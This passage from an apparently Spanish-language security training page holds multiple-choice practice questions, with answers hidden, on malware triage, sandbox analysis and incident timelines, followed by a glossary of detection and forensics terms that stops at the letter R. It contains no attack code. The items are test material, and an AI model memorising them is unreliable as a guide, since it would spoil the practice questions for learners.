  4. Demuestra una limpieza autorizada por una herramienta de administración integrada de Windows
Mostrar respuestaOcultar respuesta

Guarda esta unidad para ver esta respuesta.

Set 4: Compara la reputación, las pistas estáticas y el comportamiento en un entorno aislado10 Preguntas de Práctica

Guarda esta unidad para ver todas las respuestas y practicar cada set.

Pregunta 1 de 10

Los bytes de un archivo no cambian, pero cambia su nombre. ¿Qué ocurre con su SHA-256?
  1. El hash del contenido permanece igual
  2. El hash cambia con el nombre
  3. El hash cambia con su extensión
  4. El hash cambia con su ruta de archivo
Mostrar respuestaOcultar respuesta

Guarda esta unidad para ver esta respuesta.

Pregunta 2 de 10

Un informe de abuso de IP tiene seis meses de antigüedad y se refiere a una dirección de nube compartida. ¿Qué debe comprobarse antes de bloquear la conexión actual?
  1. La ciudad de GeoIP como identidad del operador actual
  2. La puntuación histórica como dictamen permanente sobre el cliente
  3. El uso actual, el comportamiento local y el impacto colateral
  4. La titularidad actual como prueba de que el tráfico es seguro
Mostrar respuestaOcultar respuesta

Guarda esta unidad para ver esta respuesta.

Pregunta 3 de 10

Un libro de trabajo interno confidencial tiene un hash desconocido. Un ejecutable firmado relacionado tiene 2/68 detecciones y una cadena de procesos no aprobada. ¿Qué plan de análisis trata adecuadamente ambos hallazgos?
  1. Analizar el libro públicamente y aprobar el ejecutable con pocas detecciones
  2. Analizar el libro en privado y aprobar el ejecutable firmado
  3. Cambiar el nombre del libro y subirlo, y tratar 2/68 como dictamen final
  4. Analizar el libro en privado e investigar el comportamiento del ejecutable
Mostrar respuestaOcultar respuesta

Guarda esta unidad para ver esta respuesta.

Pregunta 4 de 10

Un supuesto PDF comienza con 4D 5A. ¿Cuál es la siguiente comprobación útil del tipo de archivo?
  1. Aceptar el nombre PDF como su formato real
  2. Inspeccionar la estructura de ejecutable y registrar su hash
  3. Usar solo MZ para identificar una familia de malware
  4. Usar el nombre que parece PDF para clasificarlo sin comprobar su estructura interna
Mostrar respuestaOcultar respuesta

Guarda esta unidad para ver esta respuesta.

Pregunta 5 de 10

Una muestra PE tiene pocas cadenas ASCII, importaciones escasas, secciones UPX y una URL distintiva en UTF-16LE. Instaladores que se sabe que son correctos comparten su entropía alta y nombres de importaciones comunes. ¿Cómo debe una investigación asistida por YARA abordar las coincidencias y el seguimiento?
  1. Buscar el texto ancho relevante, probar coincidencias benignas e inspeccionar el comportamiento en ejecución controlada
  2. Buscar solo importaciones ASCII comunes, omitir pruebas benignas e interpretar la entropía alta como malicia
  3. Buscar la URL solo como ASCII, probar archivos benignos y considerar que las cadenas ausentes indican ausencia de comportamiento
  4. Buscar ambas codificaciones de texto, omitir pruebas benignas y tratar toda coincidencia con archivos empaquetados como malware
Mostrar respuestaOcultar respuesta

Guarda esta unidad para ver esta respuesta.

Pregunta 6 de 10

Una expresión regular extrae 999.12.4.8 como texto con aspecto de IPv4. ¿Qué debe hacer el analista con ese resultado?
  1. Aceptarlo porque una coincidencia de expresión regular garantiza la validez de la dirección
  2. Consultar su ubicación GeoIP antes de comprobar los rangos numéricos
  3. Conservarlo como indicador porque coincide con el patrón de puntos
  4. Rechazarlo como dirección no válida después de comprobar los octetos
Mostrar respuestaOcultar respuesta

Guarda esta unidad para ver esta respuesta.

Pregunta 7 de 10

Una regla YARA exige tanto MZ en el desplazamiento cero como una coincidencia con al menos una de las cadenas A y B. La muestra X tiene MZ en cero y B en una codificación ancha admitida. La muestra Y tiene MZ solo en el desplazamiento 20 y ambas cadenas A y B. ¿Qué muestra coincide y por qué?
  1. Ambas; la cadena adicional de Y compensa su distinto desplazamiento de cabecera
  2. Solo X; se cumplen el desplazamiento exigido y la alternativa permitida de B
  3. Solo Y; interpretar cualquiera de las cadenas como exigencia de ambas a la vez
  4. Ninguna; ignorar la coincidencia ancha aunque la regla admita su codificación
Mostrar respuestaOcultar respuesta

Guarda esta unidad para ver esta respuesta.

Pregunta 8 de 10

Una ejecución de un documento en un entorno aislado de análisis carece de la aplicación necesaria para procesar sus macros y no muestra procesos hijo. ¿Qué debe ocurrir a continuación?
  1. Cerrar como benigno porque no aparecieron procesos hijo
  2. Clasificar como evasión solo por la aplicación ausente
  3. Repetir con la aplicación necesaria y registrar la configuración
  4. Repetir perfiles sin cambios y promediar sus puntuaciones de dictamen
Mostrar respuestaOcultar respuesta

Guarda esta unidad para ver esta respuesta.

Pregunta 9 de 10

Un entorno aislado de análisis informa de un ejecutable depositado y una entrada Run. También enumera una conexión de comprobación de certificados del sistema operativo que se reproduce en una ejecución limpia de línea base. ¿Cómo deben convertirse estos hallazgos en búsquedas de producción?
  1. Bloquear todas las IP del informe como comunicaciones causadas por la muestra
  2. Buscar el contenido malicioso y la entrada Run; excluir la conexión de línea base
  3. Buscar solo el hash; aprobar el nombre familiar de Run
  4. Buscar solo el dominio; descartar los artefactos contradictorios del equipo
Mostrar respuestaOcultar respuesta

Guarda esta unidad para ver esta respuesta.

Pregunta 10 de 10

La inspección estática revela una demora larga y una URL de descarga. Una ejecución aislada breve termina antes de que expire la demora; una ejecución más larga llega a la URL, pero los servicios de red simulados carecen del recurso solicitado. ¿Qué está respaldado y qué debe comprobarse a continuación?
  1. Contar el intento de recuperación como ejecución correcta del contenido malicioso
  2. Ampliar de nuevo la ejecución sin resolver la ausencia del recurso
  3. Aprobar la etapa dependiente de la red por su inactividad actual
  4. Observar el intento; probar las etapas posteriores con una respuesta controlada del recurso
Mostrar respuestaOcultar respuesta

Guarda esta unidad para ver esta respuesta.

Set 5: Concilia las evidencias y transfiere el caso10 Preguntas de Práctica

Guarda esta unidad para ver todas las respuestas y practicar cada set.

Pregunta 1 de 10

Una consola de dispositivo final muestra las 16:18:40 en UTC+4. ¿Cuál es la hora UTC correspondiente?
  1. 20:18:40 UTC
  2. 12:18:40 UTC
  3. 16:18:40 UTC
  4. 04:18:40 UTC
Mostrar respuestaOcultar respuesta

Guarda esta unidad para ver esta respuesta.

Pregunta 2 de 10

Una carga registrada por el firewall tiene la marca de tiempo 13:06 UTC. EDR muestra el inicio de un proceso a las 15:04 en UTC+2, pero se sabe que el reloj de EDR atrasa dos minutos. DHCP muestra que la dirección perteneció al equipo B hasta las 13:05 UTC y después al equipo C. ¿Qué combinación de equipo y hora debe servir de base para continuar la correlación?
  1. Equipo B a las 13:04 UTC, a partir del desfase de la zona sin corrección del reloj
  2. Equipo C a las 13:02 UTC, restando los desfases de zona y de reloj
  3. Equipo C a las 13:06 UTC, con la hora corregida del proceso también a las 13:06 UTC
  4. Equipo B a las 15:06 UTC, sumando dos minutos sin normalizar la zona
Mostrar respuestaOcultar respuesta

Guarda esta unidad para ver esta respuesta.

Pregunta 3 de 10

Las evidencias de correo vinculan un archivo adjunto malicioso con una cadena de Word/PowerShell y una entrada Run en el equipo D. Más tarde, salen 1,8 GB hacia la misma IP compartida. EDR atribuye esa carga al agente de copias de seguridad aprobado que usa su servicio documentado. ¿Cómo debe tratar la cronología la carga?
  1. Mantenerla como evento de copia de seguridad explicado, separado de la cadena de infección confirmada
  2. Añadirla como exfiltración confirmada porque la IP de destino coincide con la del programa de descarga
  3. Eliminar el hallazgo de infección porque un evento tiene una explicación legítima
  4. Añadirla como C2 web porque el software de copias de seguridad suele usar un destino cifrado
Mostrar respuestaOcultar respuesta

Guarda esta unidad para ver esta respuesta.

Pregunta 4 de 10

Un entorno aislado de análisis muestra PowerShell y una entrada Run, pero ninguna evidencia explica cómo llegó la muestra al usuario. ¿Qué asignaciones de ATT&CK están respaldadas?
  1. Entrega por phishing y ejecución de PowerShell
  2. Entrega por phishing y exfiltración por C2
  3. Persistencia mediante clave Run y movimiento lateral confirmado
  4. Ejecución de PowerShell y persistencia mediante clave Run
Mostrar respuestaOcultar respuesta

Guarda esta unidad para ver esta respuesta.

Pregunta 5 de 10

Una regla detecta PowerShell codificado. Su alerta coincide con un script de despliegue aprobado y verificado que inició el agente de despliegue. ¿Cómo debe clasificarse la detección?
  1. Un hallazgo falso positivo
  2. Un hallazgo falso negativo
  3. Un verdadero positivo benigno
  4. Un hallazgo no concluyente
Mostrar respuestaOcultar respuesta

Guarda esta unidad para ver esta respuesta.

Pregunta 6 de 10

Un analista cierra una alerta de proceso malicioso como «actualizador esperado» porque el nombre de la tarea resulta familiar. El programa al que apunta no está firmado, está en una carpeta pública, se creó después de la ejecución de un documento sospechoso y no existe ningún registro de despliegue. ¿Cuál es la decisión fundamentada?
  1. Mantenerla cerrada porque el nombre de la tarea demuestra el editor
  2. Reabrirla e investigar el programa, el momento y la autorización
  3. Mantenerla cerrada porque las carpetas públicas son rutas aprobadas para actualizadores
  4. Excluir el nombre de la tarea porque el código sin firma explica la alerta
Mostrar respuestaOcultar respuesta

Guarda esta unidad para ver esta respuesta.

Pregunta 7 de 10

Una persona del equipo de respuesta recibe una captura recopilada y su SHA-256, pero no el historial de recopilación o transferencia. ¿Qué registro de preservación de evidencias falta?
  1. Quién recopiló y manejó la captura y las horas de transferencia
  2. La consulta que produjo las alertas a partir de la captura
  3. Los valores SHA-256 de los archivos exportados de la captura
  4. Los nombres de equipos derivados de pares de direcciones capturados
Mostrar respuestaOcultar respuesta

Guarda esta unidad para ver esta respuesta.

Pregunta 8 de 10

Se confirma una infección mediante un documento en un servidor de alto valor. Una gran carga sigue sin atribuirse y el agente continúa funcionando correctamente. El procedimiento de respuesta exige aislamiento y recopilación para la evaluación inicial. ¿Qué transferencia y acción concuerdan con estos hechos?
  1. Recopilar y aislar, pero aplazar el escalamiento hasta que la carga demuestre pérdida de datos
  2. Escalar la infección y el robo de datos como confirmados y después aislar el equipo
  3. Escalar la infección, apagar ahora y recopilar después la memoria del proceso
  4. Escalar y seguir los pasos de recopilación y aislamiento; mantener abierta la atribución de la carga
Mostrar respuestaOcultar respuesta

Guarda esta unidad para ver esta respuesta.

Pregunta 9 de 10

Los registros sin muestreo de una conexión muestran que el equipo E envía 240 MB de 10:00 a 10:04 y 360 MB de 10:04 a 10:10; los registros de retorno abarcan los mismos diez minutos con un total de 6 MB. Su tasa normal de salida es de 0,5 MB/s. Un muestreador de paquetes independiente no tiene ninguna muestra coincidente. ¿Cómo deben interpretarse la tasa de salida y el hallazgo?
  1. El equipo E envió a 1 MB/s, el doble de la línea base; la muestra vacía deja la finalidad sin resolver
  2. El equipo E envió a 0,5 MB/s, igual que la línea base; sumar las duraciones de ambos sentidos y cerrar la alerta
  3. El equipo E envió a 1 MB/s, el doble de la línea base; la muestra ausente confirma el robo de datos
  4. El equipo E envió a 0 MB/s; descartar los registros sin muestreo porque ningún paquete muestreado los respalda
Mostrar respuestaOcultar respuesta

Guarda esta unidad para ver esta respuesta.

Pregunta 10 de 10

Un entorno aislado de análisis muestra que un programa de descarga contacta con un dominio y crea una entrada Run distintiva. Los registros DNS de producción muestran el dominio en seis equipos, pero EDR confirma el hash del archivo depositado y el programa al que apunta Run solo en dos; los otros cuatro carecen de historial del dispositivo final. ¿Qué afirmación sobre el alcance está justificada?
  1. Hay seis equipos con infección confirmada, porque una consulta DNS compartida demuestra la ejecución en cada uno
  2. Solo dos equipos estuvieron expuestos, porque la ausencia de eventos EDR invalida las otras cuatro observaciones DNS
  3. Dos equipos tienen artefactos coincidentes confirmados; seis tienen pistas DNS, de los cuales cuatro necesitan más evidencias
  4. La infección en el entorno aislado no está confirmada, porque se encontraron artefactos de producción en menos de seis equipos
Mostrar respuestaOcultar respuesta

Guarda esta unidad para ver esta respuesta.

¿Te atascas con una pregunta tuya? Ayuda con Tareas

Términos Clave

103 Términos Clave, cada uno con su definición

A

Algoritmo de generación de dominios (DGA)
Un algoritmo de generación de dominios (DGA) crea muchos nombres candidatos que el malware puede probar hasta encontrar infraestructura disponible del atacante.
Una larga serie de consultas NXDOMAIN de aspecto aleatorio precede a la primera conexión correcta.
Alineación de dominios
La alineación de dominios es la relación exigida entre un dominio de correo autenticado y el dominio From visible en una comprobación DMARC.
La alineación relajada acepta subdominios del mismo dominio organizativo; el modo estricto necesita una coincidencia exacta.
Análisis estático
El análisis estático examina un archivo sin ejecutarlo y utiliza su tipo, contenido legible y estructura para identificar pistas de investigación.
El analista extrae texto de macros y cadenas de red antes de elegir qué debe observar un entorno aislado de análisis.
Archivo de claves autorizadas de SSH (authorized_keys)
Un archivo authorized_keys enumera las claves públicas SSH autorizadas para autenticarse en una cuenta, lo que crea un acceso independiente de su contraseña.
Una nueva clave inexplicada se preserva antes de eliminarla porque restablecer la contraseña dejaría abierta esa vía.
Autenticación, informes y conformidad de mensajes basados en dominios (DMARC)
DMARC comprueba la alineación de una identidad SPF o DKIM que ha superado la comprobación con el dominio From visible y publica el tratamiento solicitado para los fallos.
Un resultado correcto para un dominio firmante no relacionado no puede autenticar el From visible mediante DMARC.

Á

Árbol de procesos
Un árbol de procesos muestra las relaciones padre-hijo entre instancias de procesos y ayuda a rastrear qué aplicación inició acciones posteriores.
Word inicia un intérprete de comandos, que inicia PowerShell y después un ejecutable recién escrito.

B

Binario legítimo del sistema utilizado con fines maliciosos (LOLBin)
Un binario legítimo del sistema utilizado con fines maliciosos es un programa legítimo del sistema que un atacante usa indebidamente para acciones como descargar o ejecutar código.
Los argumentos de la utilidad firmada muestran una descarga remota que su aplicación padre no tenía motivo para solicitar.
Búfer circular
Un búfer circular almacena datos de captura en un conjunto rotativo limitado de archivos y sustituye los datos más antiguos cuando se reutiliza el espacio.
El equipo exporta el intervalo del incidente antes de que el tráfico posterior sobrescriba esa parte del búfer.

C

Cabecera Authentication-Results
Una cabecera Authentication-Results registra los resultados de autenticación de un sistema receptor, que solo son útiles dentro de su límite de confianza.
El analista ignora una copia proporcionada por el remitente y lee el resultado añadido por la pasarela de la organización.
Cabecera From
La cabecera From contiene la dirección del remitente visible en un mensaje y proporciona el dominio frente al que se comprueba la alineación DMARC.
El analista compara el dominio visible con los dominios que superaron SPF y DKIM.
Cabecera Host de HTTP
La cabecera Host de HTTP identifica el equipo de destino previsto en una solicitud HTTP y ayuda a distinguir dominios que comparten una dirección IP.
El analista interpreta Host en el flujo en texto claro antes de vincular una conexión IP con el dominio de phishing.
Cabecera Received
Una cabecera Received registra un salto de procesamiento de correo y el servidor receptor la añade al principio, situando los saltos más recientes por encima de los anteriores.
La entrada de la pasarela de confianza proporciona la IP de conexión aunque los saltos declarados más abajo sean falsos.
Cadena de custodia
Una cadena de custodia registra quién recopiló, manejó o transfirió evidencias y cuándo, documentando su manejo desde la recopilación en adelante.
Una entrada de transferencia y el SHA-256 registrado del archivo permiten al equipo de respuesta verificar el elemento recibido.
Camuflaje de procesos o archivos (masquerading)
El camuflaje de procesos o archivos disfraza un proceso o archivo como algo de confianza mediante un nombre, una ubicación u otros atributos visibles engañosos.
Un nombre de proceso similar a uno del sistema apunta a un ejecutable en una carpeta pública donde los usuarios pueden escribir.
Captura de paquetes
Una captura de paquetes almacena las cabeceras y los datos capturados de los paquetes observados en un sensor, lo que permite revisar un intercambio en detalle.
Un analista recupera la captura del minuto en que una estación de trabajo contactó por primera vez con un servidor sospechoso.
Clave Run del Registro de Windows
Una clave Run del Registro de Windows es una ubicación de inicio automático que ejecuta programas configurados al iniciar sesión, en el ámbito del usuario o del equipo.
El nuevo valor Run del usuario apunta a un programa sin firma creado justo después de la ejecución de un documento.
Client Hello cifrado (ECH)
El Client Hello cifrado (ECH) protege de los observadores pasivos información del Client Hello, como el nombre real del servidor solicitado.
La captura de paquetes sigue mostrando tiempos y tamaños aunque ECH oculte el nombre previsto.
Codificación porcentual de URL
La codificación porcentual de URL representa un carácter con un signo de porcentaje y dígitos hexadecimales, lo que a menudo oculta la estructura de una URL dentro de parámetros.
Decodificar %3A y %2F hace legible la URL integrada sin visitar su destino.
Comunicación periódica de mando y control (beaconing)
La comunicación periódica de mando y control es la comunicación repetida del malware con un servidor de mando y control, a menudo mediante un temporizador e intercambios pequeños y similares.
Las conexiones regulares llevan a comprobar el destino y el proceso antes de que el equipo las clasifique como C2.
Correlación
La correlación une evidencias mediante campos compartidos y relaciones temporales para que puedan comprobarse conjuntamente las observaciones de distintas fuentes.
El analista vincula el hash de un archivo adjunto de correo con el archivo abierto por una instancia de proceso concreta.
Correo identificado mediante claves de dominio (DKIM)
DKIM verifica la firma digital de un dominio sobre determinadas cabeceras y el contenido del cuerpo del mensaje mediante una clave pública publicada en DNS.
Un mensaje puede conservar una firma DKIM válida después del reenvío si el contenido firmado permanece sin cambios.

D

Desfase del reloj
Un desfase del reloj es la diferencia entre el reloj de una fuente y la hora de referencia, que requiere una corrección adicional a la conversión de zona horaria.
Las notas del caso registran que un sensor atrasa dos minutos para que sus eventos puedan alinearse con precisión.
Detección y respuesta en dispositivos finales (EDR)
La detección y respuesta en dispositivos finales registra la actividad de los equipos, detecta comportamientos sospechosos y proporciona acciones remotas de investigación y respuesta.
Una alerta de proceso lleva a la cronología del equipo, al archivo depositado y a la conexión saliente del programa.
Detección y respuesta extendidas (XDR)
La detección y respuesta extendidas correlaciona evidencias de dispositivos finales con fuentes como la telemetría de red, correo, identidad y nube.
La plataforma reúne una alerta de correo y los eventos de ejecución del equipo del destinatario en una misma investigación.
Determinación del alcance de la campaña
La determinación del alcance de la campaña establece hasta dónde llegó una campaña de mensajes sospechosos al identificar destinatarios, interacciones y actividad posterior en cuentas o equipos.
Un correo notificado da lugar a una lista de copias entregadas, visitantes del enlace y cuentas afectadas.
Dispositivo de copia pasiva de tráfico de red (TAP)
Un dispositivo de copia pasiva de tráfico de red (TAP) es un dispositivo pasivo que copia el tráfico de un enlace hacia equipos de supervisión, cuya capacidad debe ser suficiente para los sentidos copiados.
El sensor utiliza entradas de recepción separadas para que el tráfico simultáneo en ambos sentidos quepa en el sistema de captura.
Dispositivo no autorizado
Un dispositivo no autorizado es hardware conectado a una red sin autorización, independientemente de que su tráfico actual sea malicioso.
Una concesión DHCP desconocida se compara con los registros de activos y la lista de inscripción de dispositivos aprobados.
DNS pasivo
El DNS pasivo registra las asignaciones observadas de dominios a direcciones a lo largo del tiempo y ayuda a investigar usos anteriores de nombres e infraestructura.
Las asignaciones históricas ayudan a determinar si un dominio utilizó la IP sospechosa durante la ventana del incidente.

E

Ejecución controlada de una muestra (detonación)
La ejecución controlada de una muestra consiste en ejecutar una muestra sospechosa en un entorno de análisis controlado para observar el comportamiento que produce durante esa ejecución.
El analista registra el sistema operativo, la compatibilidad de las aplicaciones y la duración junto con el informe de ejecución.
Ejecución sin archivos
La ejecución sin archivos ejecuta código sin exigir que ese código se guarde como un archivo ejecutable convencional en disco.
Una canalización de descarga pasa el texto de un script directamente a la ejecución de PowerShell y deja evidencias del proceso.
Empaquetador de ejecutables (packer)
Un empaquetador de ejecutables transforma un programa mediante compresión o cifrado y restaura código utilizable durante la ejecución, lo que dificulta la inspección estática.
Pocas cadenas, nombres de secciones UPX e importaciones escasas llevan al analista a examinar el comportamiento en un entorno aislado.
EncodedCommand
EncodedCommand es una opción de PowerShell que acepta un comando representado como texto UTF-16LE codificado en Base64.
Después de decodificar Base64, el analista interpreta los bytes como UTF-16LE para leer el script.
Entorno aislado de análisis (sandbox)
Un entorno aislado de análisis es un entorno aislado y dotado de herramientas de observación que ejecuta una muestra y registra sus acciones en condiciones controladas.
El informe vincula la ejecución de un documento con un programa descargado y una nueva entrada de inicio automático.
Entropía
La entropía mide la incertidumbre de los valores de bytes, hasta 8 bits por byte; los valores altos suelen observarse en datos comprimidos o cifrados.
Un instalador de entropía alta sigue necesitando contexto porque la compresión ordinaria puede producir la misma pista.
Escaneo horizontal
Un escaneo horizontal sondea el mismo puerto de servicio en varios equipos objetivo para identificar sistemas que ofrecen ese servicio.
Un analista comprueba la autorización cuando una estación de trabajo contacta con el puerto 445 de muchas otras.
Escaneo vertical
Un escaneo vertical sondea varios puertos de un único equipo objetivo para identificar servicios que puedan estar escuchando o ser accesibles.
Un origen intenta acceder a muchos puertos de destino del mismo servidor en unos pocos segundos.
Establecimiento de conexión TCP en tres pasos
El establecimiento de conexión TCP en tres pasos es el intercambio SYN, SYN-ACK y ACK que establece una conexión y revela quién la inició.
Un cliente con un puerto alto envía el primer SYN; el servicio responde con las direcciones y los puertos invertidos.
Estado de la conexión
Un estado de la conexión resume cómo transcurrió un intercambio observado, por ejemplo, un intento sin respuesta o una sesión TCP cerrada con normalidad.
Muchas entradas S0 y REJ de un mismo origen ayudan a explicar por qué un escaneo generó pocos datos de aplicación.
Estado operativo del sensor
El estado operativo del sensor describe si un agente de dispositivo final está instalado, activo, informa y está configurado para recopilar la telemetría relevante.
El equipo comprueba el último informe del agente antes de interpretar el historial de eventos vacío del equipo.
Estándar de exportación de información de flujos IP (IPFIX)
IPFIX es un estándar del IETF para exportar información de flujos de red mediante plantillas que describen los campos de cada registro.
Un colector lee las plantillas del exportador antes de interpretar las direcciones y los contadores de bytes de los nuevos registros.
Evasión de entornos aislados de análisis
La evasión de entornos aislados de análisis retrasa o cambia el comportamiento malicioso cuando una muestra detecta condiciones de análisis o carece del entorno que espera.
Una ejecución breve e inactiva se repite con interacción del usuario para comprobar si la muestra esperaba clics.
Expresión regular
Una expresión regular describe un patrón de texto para búsqueda o extracción, cuyos resultados coincidentes aún necesitan validación semántica.
Un patrón de texto con aspecto de IPv4 encuentra candidatos cuyos octetos se comprueban después para verificar que sean válidos.

F

Falso negativo
Un falso negativo es actividad maliciosa sobre la que una detección no generó ninguna alerta y que se descubre mediante otra fuente o una investigación posterior.
Evidencias retrospectivas del dispositivo final revelan una ejecución que las reglas de alerta originales omitieron.
Falso positivo
Un falso positivo es una alerta sobre actividad que queda fuera de lo que su detección pretendía identificar, lo que produce una coincidencia incorrecta.
Una regla destinada a una técnica de explotación concreta se activa por contenido ordinario que coincide accidentalmente con su patrón.
Filtro de captura
Un filtro de captura selecciona paquetes antes de que se guarden, utilizando la sintaxis BPF en tcpdump y en la configuración de captura de Wireshark.
El analista captura ampliamente el tráfico de un equipo para evitar descartar un segundo canal de comunicación inesperado.
Filtro de visualización
Un filtro de visualización selecciona qué paquetes guardados muestra Wireshark sin eliminar los paquetes ocultos en la vista actual.
Al quitar el filtro de visualización de DNS, los demás protocolos capturados vuelven a la lista de paquetes.
Fraude por suplantación del correo empresarial (BEC)
El fraude por suplantación del correo empresarial es un fraude por correo basado en la suplantación que busca pagos, información sensible o cambios en instrucciones de negocio.
Un mensaje autenticado de un proveedor solicita una nueva cuenta bancaria sin contener ningún enlace ni archivo adjunto.

G

Geolocalización de direcciones IP (GeoIP)
La geolocalización de direcciones IP (GeoIP) estima la ubicación geográfica asociada a una dirección IP y generalmente describe infraestructura en lugar de un usuario verificado.
La ciudad indicada para un extremo en la nube se mantiene separada de cualquier afirmación sobre la ubicación del atacante.
Gestión de dispositivos móviles (MDM)
La gestión de dispositivos móviles inscribe y administra dispositivos móviles mediante políticas, inventario, comprobaciones de cumplimiento y acciones remotas sobre los dispositivos.
Un inventario de aplicaciones muestra una aplicación de acceso remoto no aprobada en una tableta gestionada.

H

Hash de importaciones (imphash)
Un hash de importaciones (imphash) es un hash derivado de las funciones importadas por un ejecutable de Windows, utilizado para ayudar a agrupar programas con importaciones similares.
La agrupación basada en importaciones proporciona una pista para comparar muestras de ejecutables relacionadas.
Hash de similitud (fuzzy hash)
Un hash de similitud permite comparar el parecido entre archivos y ayuda a agrupar muestras relacionadas incluso cuando sus hashes exactos difieren.
Se compara la similitud de dos contenidos maliciosos modificados después de que las búsquedas de hash exacto no logren vincularlos.
Homoglifo
Un homoglifo es un carácter que se parece a otro y permite que un dominio se asemeje a un nombre de confianza aunque su texto sea distinto.
Punycode revela que un dominio parecido comienza con un carácter cirílico en lugar de la letra latina.
Huella TLS
Una huella TLS resume las características del intercambio de establecimiento para ayudar a agrupar clientes con configuraciones e implementaciones de protocolo similares.
La misma huella en varios equipos se convierte en una pista para comparar sus procesos responsables.

I

Identificador de conexión de Zeek (uid)
Un uid de Zeek es un identificador de conexión utilizado para unir registros del mismo intercambio entre los registros de conexiones y protocolos de Zeek.
Una exploración mediante uid reúne una solicitud HTTP con la duración y los recuentos de bytes de su conexión.
Identificador de mensaje (Message-ID)
Un identificador de mensaje (Message-ID) es un identificador asignado a un mensaje por su sistema emisor, útil para localizar registros de correo relacionados.
El analista incluye el Message-ID original en la consulta del caso para recuperar eventos de entrega.
Identificador globalmente único de proceso (GUID)
Un GUID de proceso es un identificador único de instancia de proceso que mantiene vinculados los eventos incluso cuando un sistema operativo reutiliza un PID numérico.
Dos procesos con el mismo PID en días distintos permanecen separados en las evidencias de Sysmon.
Indicación del nombre del servidor (SNI)
La indicación del nombre del servidor (SNI) identifica el nombre de servidor solicitado en un TLS Client Hello cuando ECH no protege ese nombre.
Un nombre de servidor visible ayuda a relacionar una sesión TLS con un dominio devuelto antes en los registros DNS.
Indicador de compromiso (IOC)
Un indicador de compromiso (IOC) es un valor o artefacto observable que se utiliza para investigar una posible actividad de intrusión y localizar evidencias relacionadas.
El hash del archivo adjunto de un correo y la ruta de la URL se convierten en búsquedas separadas en la pasarela de correo y los registros de dispositivos finales.
Intérprete de comandos web malicioso (web shell)
Un intérprete de comandos web malicioso es código del lado del servidor controlado por un atacante que proporciona ejecución de comandos o acceso remoto a través de un servidor web.
Un proceso de trabajo web que inicia un intérprete de comandos lleva a revisar los archivos del servidor modificados recientemente.

L

LaunchAgent y LaunchDaemon
Los LaunchAgents y LaunchDaemons son elementos de inicio de macOS configurados mediante archivos de listas de propiedades para ejecutar programas en contextos de usuario o de sistema.
Un nuevo elemento de inicio apunta a un ejecutable inesperado, por lo que se preservan su desencadenante y su destino para revisarlos.
Línea base del tráfico
Una línea base del tráfico describe la comunicación normal de un equipo o función, incluidos los destinos, volúmenes y patrones diarios habituales.
Las cargas nocturnas de un servidor de copias de seguridad se comparan con su propio calendario en lugar del volumen de una computadora de escritorio.

M

Manipulación de marcas de tiempo de archivos (timestomping)
La manipulación de marcas de tiempo de archivos cambia las marcas de tiempo para ocultar cuándo apareció o se utilizó un artefacto, haciendo que la actividad reciente parezca más antigua.
Un archivo muestra una fecha de creación antigua, pero un evento de cambio de marca de tiempo de Sysmon ocurre durante la intrusión.
Marca de la Web (Mark of the Web)
La marca de la Web son metadatos de origen de Windows, a menudo almacenados en Zone.Identifier, que pueden identificar contenido obtenido de internet.
El flujo alternativo preservado de un archivo adjunto guardado contiene una URL que vincula el archivo con su fuente de descarga.
Marco de políticas del remitente (SPF)
SPF es un método de autenticación de correo que comprueba la IP del servidor emisor frente a los remitentes autorizados para el dominio del sobre.
El correo reenviado por un servidor de retransmisión no incluido puede fallar SPF aunque el mensaje original fuera legítimo.
MITRE ATT&CK
MITRE ATT&CK describe tácticas y técnicas de adversarios para etiquetar comportamientos observados, sin prescribir una secuencia fija de ataque.
El artefacto de clave Run respalda una asignación de persistencia, mientras que la entrega por phishing necesita evidencia de correo independiente.
Muestreo
El muestreo observa una fracción seleccionada de paquetes, lo que permite estimar el tráfico mientras algunos eventos breves pueden pasar desapercibidos.
Un paquete muestreado de cada mil proporciona una estimación general del volumen, pero puede omitir una conexión breve.

N

Neutralización de indicadores para su presentación (defanging)
La neutralización de indicadores cambia el texto de un indicador, por ejemplo, sustituyendo https por hxxps, para reducir la navegación accidental al compartirlo.
Un ticket utiliza una URL neutralizada mientras el mensaje original permanece disponible en el repositorio de evidencias.
Nivel de confianza
El nivel de confianza expresa con qué solidez las evidencias disponibles respaldan un hallazgo, con motivos para el nivel alto, medio o bajo declarado.
La falta de historial del dispositivo final reduce la confianza en una relación propuesta aunque el destino parezca sospechoso.
Número mágico
Un número mágico es un patrón de bytes reconocible que se utiliza para identificar un formato de archivo, a menudo cerca del comienzo del archivo.
Los bytes iniciales MZ contradicen el nombre de un archivo adjunto que parece un documento y llevan a comprobar la estructura de ejecutable.

O

Objeto de exclusión mutua (mutex)
Un objeto de exclusión mutua (mutex) es un objeto de sincronización que permite a un hilo a la vez acceder a un recurso compartido; el software legítimo también utiliza mutexes.
El nombre distintivo de un mutex de la muestra se convierte en una pista de búsqueda después de vincularlo con el contenido malicioso observado.

P

Persistencia
La persistencia mantiene o restaura el acceso de un atacante mediante mecanismos que sobreviven a interrupciones como el cierre de sesión o el reinicio del sistema.
Una entrada Run y una tarea programada apuntan al contenido malicioso y proporcionan desencadenantes separados para volver a iniciarlo.
Pirámide del dolor
La pirámide del dolor ordena los tipos de indicadores según el esfuerzo que supone para los atacantes cambiarlos, desde hashes exactos hasta herramientas y técnicas.
El equipo de detección registra un patrón de proceso y persistencia además del hash actual del contenido malicioso.
Preparación de datos para su transferencia
La preparación de datos para su transferencia recopila y prepara datos para una transferencia posterior, a menudo reuniendo archivos en archivos comprimidos o dividiéndolos en partes.
Aparecen nuevas partes de archivos comprimidos en una carpeta temporal poco antes de una gran conexión saliente.
Prevalencia
La prevalencia mide qué tan extendido está un archivo o indicador observado en un entorno y añade contexto a su actividad local.
Un hash observado en una estación de trabajo se compara con el software presente en toda la imagen de escritorio aprobada.
Protocolo de acceso a datos de registro (RDAP)
El protocolo de acceso a datos de registro (RDAP) proporciona información estructurada de registro de dominios y es la fuente oficial para dominios genéricos de nivel superior.
Una consulta proporciona el registrador y una fecha de creación reciente aunque los datos del propietario estén ocultos.
Puerto de duplicación de tráfico (SPAN)
Un puerto de duplicación de tráfico (SPAN) es un puerto de conmutador configurado para recibir copias del tráfico de red seleccionado para supervisión y captura de paquetes.
Un puerto de destino de duplicación con mucho tráfico descarta copias cuando el tráfico de la VLAN seleccionada supera su capacidad de salida.

Q

Quíntupla de 5 elementos
Una quíntupla de 5 elementos agrupa las IP de origen y destino, los puertos de origen y destino y el protocolo de transporte utilizado por el tráfico de red.
El analista intercambia tanto las direcciones como los puertos para encontrar el registro del sentido inverso de un intercambio TCP.

R

Reensamblado de flujos TCP
